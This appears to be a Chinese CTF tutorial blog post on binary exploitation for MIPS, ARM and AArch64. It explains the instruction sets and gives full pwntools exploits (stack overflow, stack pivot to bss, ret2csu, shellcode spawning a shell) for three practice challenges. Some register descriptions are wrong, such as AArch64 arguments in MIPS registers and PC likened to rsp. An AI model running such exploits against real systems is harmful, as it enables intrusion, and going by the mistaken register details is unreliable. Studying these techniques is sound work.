mips&arm&aarch64-pwn初探

161 篇文章 9 订阅
161 篇文章 9 订阅

mips&arm&aarch64-pwn初探

前言

厌倦了x86/x64 平台下的二进制漏洞利用,来看看mips/arm平台下的pwn是如何达到利用的。众所周知,mips/arm架构cpu主要用于嵌入式设备,比如路由器这些。当我们在x86/x64平台练习到一定境界后,再去探索一个新的平台下的漏洞利用,我们可以借鉴以前的方法,总之,思想都是一样的。只不过是指令的样子不同而已。

 

MIPS架构的pwn

mips、mipsel的区别

mips是大端(big-endian)架构,而mipsel是小端(little-endian)架构。指令的用法是差不多的。

 

Pwn中需要重点了解的Mips指令

传参方式

用$a0~$a3传递函数的前4个参数,记忆方法,寄存器名字a实际为argument的缩写。多余的参数用栈传递,可以写一个简单的c程序编译后,反汇编观察,悟出规律。

 

函数返回值

一般用$v0~$v1寄存器传递。v也就是value的缩写。

 

跳转指令

j指令跳转到某个标签处,单纯的jmp

jr指令用于跳转到寄存器里的地址值指向的地方。

jal 跳转时,会将返回地址存入$ra寄存器。

jalr 与jal指令类似,只不过后面的对象为寄存器。

$ra寄存器,ra为,return address的缩写,一般用于存储返回地址,一个函数结尾往往会从栈里弹出一个值赋值给$ra寄存器,然后jr $ra。

内存读取指令

sw register,addr指令,sw即store word的缩写(对应的有store byte),将register寄存器里的值写入到addr地址处。

lw register,addr指令,lw即load word的缩写(对应的有load byte),读取addr处的数据,放入register寄存器。

寻址

la指令,相当于x86的lea

lai指令,i的意思是immediate立即数,即后面的对象为立即数。

la $a0,1($s0)指令,带有偏移的寻址,它的作用是$a0 = 1 + $s0

 

例题

安洵杯axb_2019_mips

首先,最开始依然是检查程序的保护机制,发现所有保护都没开。

qemu-mipsel运行,提示缺少库,最快速的解决方法是下载现成的库,省去自己编译。Mipsel的uclibc库在这里https://github.com/MonkeyJacky/mipsel-linux-uclibc

然后,我们使用-L加载库,就可以运行了

接下来,我们用IDA分析一下程序,vuln函数里存在栈溢出。IDA不能查看mips的伪代码,我们可以用ghidra工具来查看。

由于代码过于简单,我们可以直接看到漏洞。$fp寄存器可以理解为x86下的ebp。由于题目没有给我们uclibc的版本,因此,我们泄露函数地址后,也很难确定system这些函数的地址。但是想到本题没有开NX保护,于是,我们可以ret2shellcode。但是,我们还不知道栈地址。由于没有开启PIE,因此我们可以先rop调用read向bss段输入shellcode,然后栈迁移到bss段。

寻找gadgets

仍然使用ROPgadget工具来找,然后,我们找一下能够控制a0~a3寄存器的gadgets,发现,最多可以自由控制$a0寄存器。这意味着我们可以执行带一个参数的函数。如果题目给了我们uclibc,那么可以很容易利用rop,构造system(“/bin/sh”)。但是,题目没有给我们uclibc。想要控制read的3个参数,在mips下没有那么轻松。或许我们可以ret2text。

$fp寄存器的值,在我们溢出后函数结束时,就会被栈里的值覆盖,因此,$fp可控,从而$v0可控,从而$a1可控。而$a0、$a2也在代码里控制住了。因此,我们让$a1指向bss段,从而可以向bss段输入shellcode。当read结束后, move    $sp, $fp指令会使得栈发生迁移,我们在bss段的shellcode前面放置shellcode的地址,,这样shellcode的地址就会被放入到$ra寄存器,进而可以ret到shellcode。

 

调试

用IDA的远程gdb调试,qemu加-g设置端口。

完整exp

#coding:utf8
from pwn import *
#由于不知道uclibc版本,所以,我们利用栈迁移,在bss段布下shellcode执行即可

#sh = process(argv=['qemu-mipsel','-g','6666','-L','/home/sea/mips_os/mipsel-linux-uclibc','./mips_pwn2'])
#sh = process(argv=['qemu-mipsel','-L','/home/sea/mips_os/mipsel-linux-uclibc','./mips_pwn2'])
sh = remote('node3.buuoj.cn',27820)

bss = 0x410B70
text_read = 0x4007E0
sh.sendafter("What's your name:","haivk")

shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
#ret2shellcode
payload = 'a'*0x20
#fp
payload += p32(bss + 0x200 - 0x40 + 0x28)
#调用read向bss段输入shellcode,然后ret到bss段
payload += p32(text_read)

sh.send(payload)

sleep(1)
payload = 'a'*0x24
#ra
payload += p32(bss + 0x200 + 0x28)
payload += shellcode
sh.send(payload)

sh.interactive()

 

ARM架构的pwn

掌握了mips的pwn利用方法后,arm是类似的。

ARM和AARCH64

ARM是32位架构,AARCH64是64位架构。

Pwn中需要重点了解的AARCH64指令

传参方式

用$a0~$a3传递函数的前4个参数,记忆方法,寄存器名字a实际为argument的缩写。多余的参数用栈传递,可以写一个简单的c程序编译后,反汇编观察,悟出规律。

 

函数返回值

W0、X1、X2寄存器用于前3个参数,其他的可以自行写一个c语言程序编译后反汇编观察。

跳转指令

X29寄存器作用相当于x64的rbp,X30寄存器用于保存返回地址,当执行RET指令时,会将X30的值赋值给PC寄存器。PC寄存器即x64的rsp。

b指令跳转到某个标签处,单纯的jmp

BL指令用于跳转,并且会将返回地址保存在X30寄存器中。然后函数开头一般就会将这两个寄存器的值保存到栈里。

LDP X29, X30, [SP+var_s0],#0x10;RET 指令,相当于x64的pop rbp; ret。

内存读取指令

str register,addr指令,st即store的缩写,将register寄存器里的值写入到addr地址处。

ldr register,addr指令,ld即load dword的缩写,读取addr处的数据,放入register寄存器。

LDP register1, register2,addr ,从addr读取两个dword,分别存入register1、register2。

STP register1, register2,addr ,将register1、register2的值依次存入addr处。

 

寻址

ADRP  X0, #label@PAGE指令,将label所处的页的基地址存入X0。

接下来

ADD   X0, X0, #label@PAGEOFF指令,偏移加上基地址,得到label的地址。

栈布局

假设,我们有这样的一个程序,

void fun() {
        char buf[0x20];
}
int main() {
        fun();
}

当我们进入fun函数时,栈的布局是这样的

数据

所有者

X29 value

fun

X30 value

fun

buf

fun

X29 value

main

X30 value

main

也就是说,函数的rbprip不再保存到栈底,而是栈顶!!

因此,栈溢出,修改的是调用者函数的X29和X30。

列题

shanghai2018_baby_arm

首先,检查一下程序的保护机制

然后,我们用IDA分析一下程序

很明显的栈溢出漏洞

默认导入了mprotect,所以我们可以利用ROP绕过NX保护,然后ret2shellcode。

x64下的ret2csu方法仍然可以用

完整exp

#coding:utf8
from pwn import *

#sh = process(argv=['qemu-aarch64','-g','6666','-L','/home/sea/arm_pwn/aarch64-libs','./baby_arm'])
#sh = process(argv=['qemu-aarch64','-L','/home/sea/arm_pwn/aarch64-libs','./baby_arm'])

sh = remote('node3.buuoj.cn',28102)
elf = ELF('./baby_arm')
mprotect_plt = elf.plt['mprotect']
'''
.text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10]
.text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]
.text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]
.text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC                 RET
'''
csu_ldr = 0x4008CC
csu_call = 0x4008AC

shellcode = asm(shellcraft.aarch64.linux.sh(),arch='aarch64')

payload = p64(mprotect_plt) + shellcode
sh.sendafter('Name:',payload)
shellcode_addr = 0x411068 + 8


sleep(1)
payload = 'a'*0x48 + p64(csu_ldr)
payload += p64(0) #X29
payload += p64(csu_call) #X30

payload += p64(0) + p64(1) #X19, X20
payload += p64(shellcode_addr-8) #X21,,protect的plt指针
payload += p64(0x1000007) #X22
payload += p64(len(shellcode)) #X23
payload += p64(shellcode_addr) #X24
#ret2shellcode
payload += p64(0) #X29
payload += p64(shellcode_addr) #x30

sh.send(payload)
sh.interactive()

调试

用IDA的远程gdb调试,qemu加-g设置端口。

 

ARMEABI

前面介绍了arm 64位架构,armeabi是32架构,指令也类似,只不过它的栈布局与常规的一样,R11和PC的值保存在栈底。R11充当ebp,PC充当RIP。LDMFD   SP!, {R11,PC}指令即相当于pop ebp;ret的作用。

例题

inctf2018_wARMup

首先,检查一下程序的保护机制

需要注意的是,这里显示arm的NX enabled可能不可靠,通过验证发现堆栈仍然可以执行。因此,我们遇到了arm应该先尝试看看是否堆栈可执行。

然后,我们用IDA分析一下,发现一个栈溢出漏洞,但是,我们溢出的尺度不大。因此执行不了太多gadgets。

寻找gadgets

Arm通过R0、R1、R3、R4传递前4个参数,其余的可以自行调试观察。最开始是想到利用puts来泄露,因此,我们需要控制R0寄存器。但是发现找不到一条合适的gadget,因为溢出尺度不大,所以没有找到合适的gadget能够控制R0。因此,尝试ret2shellcode的方法,由于栈地址我们是不知道的,所以我们需要将shellcode布置到bss段,然后ret过去。因此,我们需要调用read函数,但是read函数有三个参数,也不好控制,因此,采用与mips_pwn例题一样的方法,ret2text。

其中,R3我们能够找到合适的gadget来控制,因此buf可控,我们就能在bss段布置shellcode。Read结束后,结尾这里会进行栈迁移,因此,我们在shellcode前面放置shellcode的地址,这样就能ret到shellcode里。

这里的利用方法似乎与前面介绍的mips的例题一模一样,只是指令不一样罢了。

完整exp

#coding:utf8
from pwn import *

#虽然checksec显示NX保护开启,但是可能不准确,调试发现堆栈可以执行
#sh = process(argv=['qemu-arm','-g','6666','-L','/home/sea/arm_pwn/arm-libs','./wARMup'])
sh = process(argv=['qemu-arm','-L','/home/sea/arm_pwn/arm-libs','./wARMup'])

sh = remote('node3.buuoj.cn',28774)

main_read = 0x00010530
bss = 0x00021034
#pop {r3, pc}
pop_r3_pc = 0x00010364

payload = 'a'*0x64
#r11
payload += p32(bss + 0x300)
payload += p32(pop_r3_pc)
payload += p32(bss + 0x300)
#调用main函数里的read先bss短输入新的rop,然后栈迁移到bss段
payload += p32(main_read)
sh.sendafter('Welcome to bi0s CTF!',payload)

sleep(1)
#raw_input()
shellcode = asm(shellcraft.arm.linux.sh(),arch='arm')
sh.send(p32(bss + 0x300 + 4) + shellcode)

sh.interactive()

 

总结

要学会灵活运用,掌握的是利用的思想,至于平台不同,只是外表的样子看起来不同罢了,思想都是那样,因此,在漏洞挖掘的路上,要学会举一反三。

  • 8
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值